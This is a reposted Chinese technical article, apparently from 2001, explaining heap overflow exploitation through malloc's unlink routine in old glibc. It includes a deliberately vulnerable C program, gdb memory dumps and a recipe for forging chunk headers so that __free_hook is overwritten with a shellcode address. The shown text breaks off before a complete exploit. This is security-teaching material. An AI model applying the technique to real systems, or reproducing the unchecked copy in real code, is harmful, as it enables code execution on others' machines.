日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一种新的Heap区溢出技术分析[转贴]

發布時間:2025/4/14 编程问答 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一种新的Heap区溢出技术分析[转贴] 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一種新的Heap區溢出技術分析[轉貼]---http://www.linuxsir.org/bbs/thread50097.html
作者:warning3 < maito:warning3@nsfocus.com >
主頁:http://www.nsfocus.com
日期:2001-3-09
原文出處:http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=529&keyword=%D6%D6%D0%C2%B5%C4Heap%C7%F8%D2%E7%B3%F6%BC%BC%CA%F5%B7%D6
★ 前言

通常的Heap區溢出只能利用覆蓋某些函數指針,jumpbuf或者重要變量等方式來
完成攻擊。這方面內容請參看我原來翻譯整理的<HEAP/BSS 溢出機理分析>:
http://magazine.nsfocus.com/detail.asp?id=353
如果系統中沒有這些條件,盡管能夠發生溢出,攻擊者仍然很難執行自己的代碼。
這里介紹一種利用malloc/realloc/free來進行攻擊的方法。這種方法使得Heap
攻擊的可能性大大增加了。

注:下面所有的代碼均在redhat 6.1(x86)Linux系統下測試通過。(glibc-2.1.3-21)

★ 目錄

1. 簡單介紹
2. 一個簡單的例子
3. malloc/calloc/realloc/free的基本概念
4. 兩種可能的攻擊方法
5. 針對弱點程序的兩個演示程序
6. 實例: Traceroute "-g"問題

★ 正文

1. 簡單介紹

使用malloc()或者calloc()可以動態分配一段內存,并向用戶返回一個內存地
址,而實際上這個地址前面通常有8個字節的內部結構,用來記錄分配的塊長度
以及一些標志。如果這些結構的內容被覆蓋,在某些malloc實現下,可能導致
攻擊者將任意數據寫到一個任意內存地址中去,從而可能改變程序執行流向,
以至執行任意代碼。

2. 一個簡單的例子

下面我們來看一個簡單的例子,這是一個非常典型的Heap溢出問題程序。它分
配兩塊內存,然后向其中的一塊拷貝了一些數據,由于沒有檢查數據長度,發
生溢出。
Shell代碼
  • /*?A?simple?vulnerable?program?for?malloc/free?test?-?vul.c? ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/05??
  • */ ??
  • ??
  • #include?<stdlib.h> ??
  • ??
  • int ??
  • main?(int?argc,?char?*argv[]) ??
  • { ??
  • ??char?*buf,?*buf1; ??
  • ??
  • ??buf?=?malloc?(16);?/*?分配兩塊16字節內存?*/ ??
  • ??buf1?=?malloc?(16); ??
  • ?? ??
  • ??if?(argc?>?1) ??
  • ????memcpy?(buf,?argv[1],?strlen?(argv[1]));?/*?這里會發生溢出?*/ ??
  • ??
  • ??printf?("%#p?[?buf??]?(%.2d)?:?%s?\n",?buf,?strlen?(buf),?buf); ??
  • ??printf?("%#p?[?buf1?]?(%.2d)?:?%s?\n",?buf1,?strlen?(buf1),?buf1); ??
  • ??printf?("From?buf?to?buf1?:?%d\n\n",?buf1?-?buf); ??
  • ??
  • ??printf?("Before?free?buf\n"); ??
  • ??free?(buf);?/*?釋放buf?*/ ??
  • ??printf?("Before?free?buf1\n"); ??
  • ??free?(buf1);?/*?釋放buf1?*/ ??
  • ??
  • ??return?0; ??
  • }?/*?End?of?main?*/??
  • /* A simple vulnerable program for malloc/free test - vul.c * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/05 */#include <stdlib.h>int main (int argc, char *argv[]) {char *buf, *buf1;buf = malloc (16); /* 分配兩塊16字節內存 */buf1 = malloc (16);if (argc > 1)memcpy (buf, argv[1], strlen (argv[1])); /* 這里會發生溢出 */printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1);printf ("From buf to buf1 : %d\n\n", buf1 - buf);printf ("Before free buf\n");free (buf); /* 釋放buf */printf ("Before free buf1\n");free (buf1); /* 釋放buf1 */return 0; } /* End of main */
    現在讓我們來看看結果:

    [warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'`
    0x8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA <-- 一切正常
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24 <-- 兩個buffer之間相差 16+8=24 字節

    Before free buf
    Before free buf1

    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'`
    0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA <-- 為什么會是21字節??
    0x8049780 [ buf1 ] (00) : <-- 溢出的數據還沒有進入buf1"境內"
    From buf to buf1 : 24

    Before free buf
    Before free buf1

    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'`
    0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- 這次字節數對了
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24

    Before free buf
    Segmentation fault (core dumped) <-- 出現可愛的段錯誤了
    <-- " Before free buf1"怎么沒有出現?說明段錯誤發生在執行free(buf)時

    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'`
    0x8049768 [ buf ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
    0x8049780 [ buf1 ] (04) : AAAA <-- 這回溢出的數據才算到達buf1"境內"
    From buf to buf1 : 24

    Before free buf
    Segmentation fault (core dumped)

    看起來,似乎這種段錯誤并不足以讓我們執行自己代碼,因為覆蓋的地方既沒有
    函數指針,也沒有任何所能利用的變量或結構,更別提返回地址了。別著急,接
    下來我就會告訴你怎么利用free()來得到我們的shell.在正式開始之前,我要先
    講一下malloc/calloc/realloc/free的基本概念。

    3. malloc/calloc/realloc/free的基本概念

    malloc/calloc/realloc/free這幾個函數,是用來分配或釋放動態內存的。

    目前很多Linux系統所用的malloc實現(包括libc5和glibc)都是由Doug Lea完成
    的。我們下面所講的,都是指這一版本的實現。

    從Linux的Man手冊MALLOC(3)中看到這些函數原型如下:

    void *calloc(size_t nmemb, size_t size);
    void *malloc(size_t size);
    void free(void *ptr);
    void *realloc(void *ptr, size_t size);

    calloc()用來分配nmemb個size大小的內存塊,并返回一個可用內存地址。
    它會自動將得到的內存塊全部清零。

    malloc()用來分配size大小的內存塊,并返回一個可用內存地址。

    free()釋放ptr所指向的內存。

    realloc()用來將ptr指向的一塊內存的大小改變為size.

    我們需要注意的是free()和realloc()函數。它們都是比較危險的函數,如果
    所提供的地址指針ptr所指向的內存是已經釋放的,或者不是由malloc類函數
    分配的話,就可能發生不可預料的情況。我們要利用的,也就是這些"不可預
    料"的情況。

    由于calloc()和malloc()差別不大,實際上都是調用的chunk_alloc()函數來
    進行分配的,區別只是calloc()在最后調用了一個宏 MALLOC_ZERO來將分配
    的內存塊清零。因此后面除非特別指出,我們就只以malloc()為例.

    malloc()定義了一個內部結構malloc_chunk來定義malloc分配或釋放的內存塊。

    struct malloc_chunk
    {
    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
    struct malloc_chunk* fd; /* double links -- used only if free. */
    struct malloc_chunk* bk;
    };

    prev_size是上一個塊的大小,只在上一個塊空閑的情況下才被填充
    size是當前塊的大小,它包括prev_size和size成員的大小(8字節)
    fd是雙向鏈表的向前指針,指向下一個塊。這個成員只在空閑塊中使用
    bk是雙向鏈表的向后指針,指向上一個塊。這個成員只在空閑塊中使用

    對于已分配的內存,除了分配用戶指定大小的內存空間外,還在前面增加了
    malloc_chunk結構的前兩個成員(8字節).一段已分配的內存結構如下圖所示:


    0 16 32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 上一個塊的字節數(如果上一個塊空閑的話) | |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 當前塊的字節數 (size) |M|P|
    mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 用戶數據開始... .
    . .
    . (用戶可以用空間大小) .
    . |
    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    這里chunk指針是malloc()在內部使用的,而返回給用戶的是mem指針(chunk +
    8),實際上向用戶隱藏了一個內部結構。也就是說,如果用戶要求分配size字節
    內存,實際上至少分配size+8字節,只是用戶可用的就是size字節(這里先不考
    慮對齊問題)。nextchunk指向下一個內存塊。


    對于空閑(或者說已經釋放的)塊,是存放在一個雙向循環鏈表(參見上面的
    malloc_chunk結構)中的。

    在內存中的分布基本如下圖所示:

    0 16 32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 上一個塊的字節數(prev_size) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' | 當前塊的字節數 (size) |M|P|
    mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 前指針(指向鏈表中的下一個塊) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 后指針(指向鏈表中的上一個塊) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 未被雙向鏈表使用的空間(也可能是0字節長) .
    . .
    . |
    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' | 上一個塊的字節數 (等于chunk->size) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    大家可能主要到兩個表中都有一個"P"標志,它是"當前塊字節數"(chunk->size)
    中的最低一位,表示是否上一塊正在被使用。如果P位置一,則表示上一塊正在被
    使用,這時chunk->prev_size通常為零;如果P位清零,則表示上一塊是空閑塊,
    這是chunk->prev_size就會填充上一塊的長度。

    "M"位是表示此內存塊是不是由mmap()分配的,如果置一,則是由mmap()分配的,
    那么在釋放時會由munmap_chunk()去釋放;否則,釋放時由chunk_free()完成。

    這兩位標志相關定義為:

    #define PREV_INUSE 0x1
    #define IS_MMAPPED 0x2

    由于malloc實現中是8字節對齊的,size的低3位總是不會被使用的,所以在實際
    計算chunk大小時,要去掉標志位。例如:
    #define chunksize(p) ((p)->size & ~(SIZE_BITS))

    一次malloc最小分配的長度至少為16字節,例如malloc(0).(上面說的長度是指
    chunk的長度)

    了解了上面這些基本概念,我們再來看看free(mem)時做了些什么:

    首先將mem轉換為chunk(mem-8),并調用chunk_free()來釋放chunk所指的內存塊。

    然后程序會檢查其相鄰(包括前后)的內存塊是不是空閑的:
    如果是空閑塊的話,就將該相鄰塊從鏈表中摘除(unlink),然后將這些相鄰的空
    閑塊合并;
    如果不是空閑塊的話,就只是設置后一個相鄰塊的prev_size和size(清
    PREV_INUSE標志)。

    最后將得到的空閑塊加入到雙向鏈表中去。
    希望大家提問前先 google 關鍵詞<br /> 希望大家提問前先看論壇的精華和置項的貼子<br /> 希望大家提問前先搜索論壇的相關內容<br /> 希望大家提問時把標題寫清楚<br /> 希望大家貼代碼時能保持縮進<br /> LFS ID:8158 頂0 踩0
    kj501 kj501 我不在線 注冊時間
    2002-09-08 10:17:06
    最后登錄
    2009-08-13 19:27:26
    精華
    36
    帖子
    5232
    加為好友 關注 發站內信

    用戶頭銜:★☆版★主☆★

    狀態:我不在線

    沙發 發表于 2003-07-03 22:51:18 |只看該作者 |倒序瀏覽
    在進行unlink操作時,實際上就是執行了一個鏈表結點的刪除工作。
    比如,如果要從鏈表中刪除chunk結點,所要做得就是:
    chunk0->fd <== chunk->fd
    chunk1->bk <== chunk->bk

    如下所示:

    chunk0 chunk chunk1
    +----------------------+..+----------------------+..+----------------------+
    |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk|
    +----------------^-----+..+----------------+---+-+..+--------------------^-+
    |_________________________| |_________________________|

    malloc實現中是使用了一個unlink宏來完成這個操作的,定義如下:
    /* take a chunk off a list */

    #define unlink(P, BK, FD) \
    { \
    BK = P->bk; \
    FD = P->fd; \
    FD->bk = BK; \
    BK->fd = FD; \
    }

    發現了嗎?這里有兩個寫內存的操作。如果我們能夠覆蓋chunk->fd和chunk->bk
    的話,那么chunk->fd就會寫到(chunk->bk + 8)這個地址,而chunk->bk就會被
    寫到(chunk->fd + 12)這個地址!換句話說,我們可以將任意4個字節寫到任意
    一個內存地址中去!!我們就可能改變程序的流程,比如覆蓋函數返回地址、
    覆蓋PLT表項、.dtor結構等等,這不正是我們所要的嗎?

    free()和realloc()中都有unlink操作,因此我們要做的就是要想辦法用合適的
    值來覆蓋空閑塊結構中的*fd和*bk,并讓unlink能夠執行。

    下面讓我們再回到開頭的那個問題程序,看一下如何攻擊它。

    4. 兩種可能的攻擊方法

    先來看看弱點程序是怎么出錯的:

    [warning3@redhat-6 malloc]$ gdb ./vul -q
    (gdb) b main
    Breakpoint 1 at 0x80484a6: file vul.c, line 10.
    (gdb) r `perl -e 'print "A"x21'`
    Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'`

    Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
    10 buf = malloc (16); /* 分配兩塊16字節內存 */
    (gdb) n
    11 buf1 = malloc (16);
    (gdb) p/x buf
    $1 = 0x8049768
    (gdb) x/20x buf-8
    0x8049760: p: 0x00000000 0x00000019 buf:0x00000000 0x00000000
    0x8049770: 0x00000000 0x00000000 *0x00000000 #0x00000889
    0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000000 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

    [ p表示內存塊內部指針 ]

    [ 注意上面加*號的地方,這里開始的結點是鏈表中的top結點, #號處是它的長度 ]

    (gdb) p/x *(buf-4) <--- 這里存放的是當前塊的大小,設置了PREV_INUSE位
    $3 = 0x19
    (gdb) p/x *(buf-4)&~0x1 <-- 算一下實際長度: 0x18 = 0x10 + 0x8
    $4 = 0x18
    (gdb) n
    13 if (argc > 1)
    (gdb) p/x buf1 <-- 分配第二塊內存
    $5 = 0x8049780

    (gdb) x/20x buf-8
    0x8049760: p:0x00000000 0x00000019 buf:0x00000000 0x00000000
    0x8049770: 0x00000000 0x00000000 p1:0x00000000 0x00000019
    0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: *0x00000000 #0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

    [ p1表示內存塊內部指針 ]

    [ 我們看到top結點后移了0x18字節,長度也縮小了0x18字節 ]

    (gdb) n
    13 if (argc > 1)
    (gdb) n
    14 memcpy (buf, argv[1], strlen (argv[1])); /* 這里會發生溢出 */
    (gdb) n
    16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);
    (gdb) x/20x buf-8
    0x8049760: p:0x00000000 0x00000019 buf:0x41414141 0x41414141
    0x8049770: 0x41414141 0x41414141 p1: 0x41414141 0x00000019
    0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

    [ 填入的20個字節已經溢出了buf,并覆蓋到了第二個內存塊的內部結構p1->prev_size ]
    [ 緊接著的那個字節0x19是p1塊的長度,所以下面再計算strlen(buf)時得到的長度為 ]
    [ 21.現在你應該明白開頭那個問題的答案了吧 ]

    (gdb) c
    Continuing.
    0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24

    Before free buf
    Before free buf1

    由于上面的情況下,p1的size部分沒有被覆蓋,因此系統認為buf前后的塊都不
    是空閑的,因此就不會有unlink操作,也就不會有段錯誤發生了。如果我們再增
    加幾個字節,就沒有那么"幸運"了.

    (gdb) b 14
    Breakpoint 1 at 0x80484ca: file vul.c, line 14.
    (gdb) r `perl -e 'print "A"x24'`
    Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'`

    Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
    14 memcpy (buf, argv[1], strlen (argv[1])); /* 這里會發生溢出 */
    (gdb) x/20x buf-8
    0x8049760: 0x00000000 0x00000019 0x00000000 0x00000000
    0x8049770: 0x00000000 0x00000000 0x00000000 0x00000019
    0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
    (gdb) n
    16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);
    (gdb) x/20x buf-8
    0x8049760: 0x00000000 0x00000019 0x41414141 0x41414141
    0x8049770: 0x41414141 0x41414141 0x41414141 0x41414141
    0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
    (gdb) b 21 <-- 這時候buf1的內部結構(prev_size和size)已經被覆蓋了
    Breakpoint 2 at 0x804855e: file vul.c, line 21.
    (gdb) c
    Continuing.
    0x8049768 [ buf ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24

    Before free buf

    Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
    21 free (buf); /* 釋放buf */
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100
    3100 malloc.c: No such file or directory.
    (gdb) x/i $pc
    0x400740c4 <chunk_free+268>: testb $0x1,0x4(%ecx,%esi,1)
    (gdb) i r $ecx
    ecx 0x41414140 1094795584 <-- 這個是覆蓋后p1的塊長度
    (gdb) i r $esi
    esi 0x8049778 134518648 <-- 這個是p1塊的地址

    下面我們來看free()是怎么工作的,以便確定到底是哪里發生了段錯誤。注意
    下面的代碼做了一些簡化:
    Shell代碼
  • void?fREe(Void_t*?mem) ??
  • { ??
  • ... ??
  • ??
  • (a)?if?(chunk_is_mmapped(p))?/*?如果IS_MMAPPED位被設置,則調用munmap_chunk()?*/ ??
  • ??{ ??
  • ????munmap_chunk(p); ??
  • ????return; ??
  • ??} ??
  • ... ??
  • ??p?=?mem2chunk(mem);??/*?將用戶地址轉換成內部地址:?p?=?mem?-?8?*/ ??
  • ... ??
  • ??chunk_free(ar_ptr,?p); ??
  • } ??
  • ??? ??
  • static?void ??
  • internal_function ??
  • chunk_free(arena?*ar_ptr,?mchunkptr?p)? ??
  • { ??
  • ??INTERNAL_SIZE_T?hd?=?p->size;?/*?hd是當前塊地址??*/ ??
  • ??INTERNAL_SIZE_T?sz;??/*?當前塊大小?*/ ??
  • ??INTERNAL_SIZE_T?nextsz;?/*?下一個塊大小?*/ ??
  • ??INTERNAL_SIZE_T?prevsz;?/*?上一個塊大小?*/ ??
  • ?? ??
  • ??... ??
  • ?? ??
  • ??check_inuse_chunk(ar_ptr,?p); ??
  • ??
  • ??sz?=?hd?&?~PREV_INUSE;??/*?取得當前塊的真實大小??*/ ??
  • ??next?=?chunk_at_offset(p,?sz);?/*?得到下一個塊的地址?*/ ??
  • ??nextsz?=?chunksize(next);?/*?得到下一個塊的真實大小? ??
  • ?????????????????????????????*?#define?chunksize(p)?((p)->size?&?~(SIZE_BITS)) ??
  • ?????????????????????????????*/ ??
  • ??
  • if?(next?==?top(ar_ptr))??/*?如果下一個塊是頭結點,則與之合并?*/ ??
  • ??{ ??
  • ????sz?+=?nextsz; ??
  • ??
  • (b)?if?(!(hd?&?PREV_INUSE))?/*?如果上一個塊是空閑的,則與之合并*/ ??
  • ????{ ??
  • ??????prevsz?=?p->prev_size; ??
  • ??????p?=?chunk_at_offset(p,?-prevsz); ??
  • ??????sz?+=?prevsz; ??
  • ??????unlink(p,?bck,?fwd);??/*?從鏈表中刪除上一個結點?*/ ??
  • ????} ??
  • ??
  • ????set_head(p,?sz?|?PREV_INUSE); ??
  • ????top(ar_ptr)?=?p; ??
  • ??
  • ?????.....?? ??
  • ??} ??
  • ??
  • /*?如果下一個塊不是頭結點?*/?? ??
  • ??
  • (b)??if?(!(hd?&?PREV_INUSE))?/*?如果上一個塊是空閑的,則與之合并*/ ??
  • ??{ ??
  • ????prevsz?=?p->prev_size; ??
  • ????p?=?chunk_at_offset(p,?-prevsz); ??
  • ????sz?+=?prevsz; ??
  • ??
  • ????if?(p->fd?==?last_remainder(ar_ptr))?????/*?keep?as?last_remainder?*/ ??
  • ??????islr?=?1; ??
  • ????else ??
  • ??????unlink(p,?bck,?fwd);???/*?從鏈表中刪除上一個結點?*/ ??
  • ??} ??
  • ??
  • ???/*?根據我的判斷,剛才的程序,是在進行這個檢查時發生段錯誤的?*/ ??
  • (c)if?(!(inuse_bit_at_offset(next,?nextsz)))/*?如果下一個塊是空閑的,則與之合并*/ ??
  • ??{ ??
  • ????sz?+=?nextsz; ??
  • ??
  • ???if?(!islr?&&?next->fd?==?last_remainder(ar_ptr)) ??
  • ??????????????????????????????????????????????/*?re-insert?last_remainder?*/ ??
  • ????{ ??
  • ??????islr?=?1; ??
  • ??????link_last_remainder(ar_ptr,?p); ??
  • ????} ??
  • ????else ??
  • ??????unlink(next,?bck,?fwd);/*?從鏈表中刪除下一個結點?*/ ??
  • ??
  • ????next?=?chunk_at_offset(p,?sz); ??
  • ??} ??
  • ??else ??
  • ????set_head(next,?nextsz);?/*?如果前后兩個塊都不是空閑的,則將下一個塊的size? ??
  • ???????????????????????????????中的PREV_INUSE位清零?*/?? ??
  • ??
  • ??set_head(p,?sz?|?PREV_INUSE); ??
  • ??next->prev_size?=?sz;???/*?將下一個塊的prev_size部分填成當前塊的大小?*/ ??
  • ??if?(!islr) ??
  • ????frontlink(ar_ptr,?p,?sz,?idx,?bck,?fwd);?/*?將當前這個塊插入空閑塊鏈表中?*/ ??
  • ??
  • ??..... ??
  • }??
  • void fREe(Void_t* mem) { ... (a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被設置,則調用munmap_chunk() */ { munmap_chunk(p); return; } ... p = mem2chunk(mem); /* 將用戶地址轉換成內部地址: p = mem - 8 */ ... chunk_free(ar_ptr, p); } static void internal_function chunk_free(arena *ar_ptr, mchunkptr p) { INTERNAL_SIZE_T hd = p->size; /* hd是當前塊地址 */ INTERNAL_SIZE_T sz; /* 當前塊大小 */ INTERNAL_SIZE_T nextsz; /* 下一個塊大小 */ INTERNAL_SIZE_T prevsz; /* 上一個塊大小 */ ... check_inuse_chunk(ar_ptr, p); sz = hd & ~PREV_INUSE; /* 取得當前塊的真實大小 */ next = chunk_at_offset(p, sz); /* 得到下一個塊的地址 */ nextsz = chunksize(next); /* 得到下一個塊的真實大小 * #define chunksize(p) ((p)->size & ~(SIZE_BITS)) */ if (next == top(ar_ptr)) /* 如果下一個塊是頭結點,則與之合并 */ { sz += nextsz; (b) if (!(hd & PREV_INUSE)) /* 如果上一個塊是空閑的,則與之合并*/ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; unlink(p, bck, fwd); /* 從鏈表中刪除上一個結點 */ } set_head(p, sz | PREV_INUSE); top(ar_ptr) = p; ..... } /* 如果下一個塊不是頭結點 */ (b) if (!(hd & PREV_INUSE)) /* 如果上一個塊是空閑的,則與之合并*/ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else unlink(p, bck, fwd); /* 從鏈表中刪除上一個結點 */ } /* 根據我的判斷,剛才的程序,是在進行這個檢查時發生段錯誤的 */ (c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一個塊是空閑的,則與之合并*/ { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) /* re-insert last_remainder */ { islr = 1; link_last_remainder(ar_ptr, p); } else unlink(next, bck, fwd);/* 從鏈表中刪除下一個結點 */ next = chunk_at_offset(p, sz); } else set_head(next, nextsz); /* 如果前后兩個塊都不是空閑的,則將下一個塊的size 中的PREV_INUSE位清零 */ set_head(p, sz | PREV_INUSE); next->prev_size = sz; /* 將下一個塊的prev_size部分填成當前塊的大小 */ if (!islr) frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 將當前這個塊插入空閑塊鏈表中 */ ..... }
    我們看到這里面有3個地方調用了unlink.如果想要執行它們,需要滿足下列條件:

    1. (a) 當前塊的IS_MMAPPED位必須被清零,否則不會執行chunk_free()
    2. (b) 上一個塊是個空閑塊 (當前塊size的PREV_INUSE位清零)
    或者
    (c) 下一個塊是個空閑塊(下下一個塊(p->next->next)size的PREV_INUSE位清零)

    我們的弱點程序發生溢出時,可以覆蓋下一個塊的內部結構,但是并不能修改當前
    塊的內部結構,因此條件(b)是滿足不了的。我們只能寄希望于條件(c).

    所謂下下一個塊的地址其實是由下一個塊的數據來推算出來的,因此,既然我們
    可以完全控制下一個塊的數據,就可以讓下下一個塊的size的PREV_INUSE位為零。
    這樣程序就會認為下一個塊是個空閑塊了。假設當前塊為塊1,下一個塊為塊2,下
    下一個塊為塊3,如下圖所示:

    塊1 塊2 偽造的塊3
    +----------------------+------------------------+..+-------------------------+
    |prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|任意數據|
    +----------------------+------------------------+..+-------------------------+
    | | |
    |--> p |-->next |-->next2next

    next = p + (size & ~PREV_INUSE)
    next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))

    因此,只要我們能夠通過修改size2,使得next2next指向一個我們控制的地址。
    我們在這個地址偽造一個塊3,使得此塊的size3的PREV_INUSE位置零即可!

    然后,在fd2處填入要覆蓋的地址,例如函數返回地址等等。Solar Designer建議
    可以使用__free_hook()的地址,這樣再下一次調用free()時就會執行我們的代碼。

    在bk2處可以填入shellcode的地址。

    實際構造的時候塊2的結構如下:

    prev_size2 = 0x11223344 /* 可以使用任意值 */
    size2 = (next2next - next) /* 這個數值必須是4的倍數 */
    fd2 = __free_hook - 12 /* 將shellcode地址剛好覆蓋到__free_hook地址處 */
    bk2 = shellcode /* 這將導致fd2被寫到shellcode + 8這個地址,所以需要
    在shellcode前面放一段跳轉語句以跳過fd2 */

    偽造的塊3則要求很低,只需要讓size3的最后一位為0即可:

    prev_size3 = 0x11223344 /* 可以使用任意值 */
    size3 = 0xffffffff & ~PREV_INUSE /* 這里的0xffffffff可以用任意非零值替換 */

    這個偽造的塊可以放在任意可能的位置,例如塊2的前面或者后面。如果要放在
    塊2的后面,由于size2是4個字節,因此如果距離比較小的話,那么size2是肯定
    要包含零字節的,這會中斷數據拷貝,因此距離必須足夠遠,以至于四個字節均
    不為零,堆棧段是一個不錯的選擇,通過設置環境變量等方法我們也可以準確的
    得到塊3的地址。
    如果我們要將塊3放到塊2的前面,那么size2就是個負值,通常是0xffffffxx等
    等。這肯定滿足size2不為零的要求,另外,這個距離我們也可以很精確的指定。
    因此我們決定采用這種方法。

    塊1 ( 塊3 ) 塊2
    +---------------------------------------+------------------------+
    |prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
    +---------------------------------------+------------------------+
    | |<---- 8 字節 -->|
    | |
    |<----- 16字節 -------->|

    在上面的圖上,我們將塊3的8字節的內部結構放在了塊1的用戶數據區中,而
    塊3的用戶數據區實際上是從塊2開始的。但是既然我們根本不關心塊3的prev
    _size以及數據段,而塊2的prev_size我們也不關心,我們還可以有更簡化的
    版本:將塊3往右移動4個字節,即讓siez3與prev_size2重合!

    | 塊1 |.... 塊3 ..| 塊2 |
    +---------------------------------------+------------------------+
    |prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
    +---------------------------------------+------------------------+
    | |<-- 4字節-->| (size3)
    | |
    |<----- 16字節 -------->|

    這樣next2next - next = -4 = 0xfffffffc .則塊2就可以重新構造一下:

    prev_size2 = 0x11223344 & ~PREV_INUSE /* 我們用原來的size3代替 */
    size2 = 0xfffffffc /* 長度為-4 */
    fd2 = __free_hook - 12 /* 將shellcode地址剛好覆蓋到__free_hook地址處 */
    bk2 = shellcode

    至于塊3的prev_size3,我們并不關心,因此并不需要再特別構造。這樣一來,
    我們的工作就大大簡化了,只需要構造一個塊2就可以了!
    現在我們看看我們要做的事情:

    i. 使用32字節數據模板,前16字節是任意非零數值,而后16字節是我們偽造的
    塊2

    ii. 找到__free_hook的地址。這個通過gdb可以方便的跟蹤出來
    $ [warning3@redhat-6 malloc]$ gdb ./vul -e
    (gdb) b main
    Breakpoint 1 at 0x80484a6: file vul.c, line 10.
    (gdb) r
    Starting program: /home/warning3/malloc/./vul

    Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
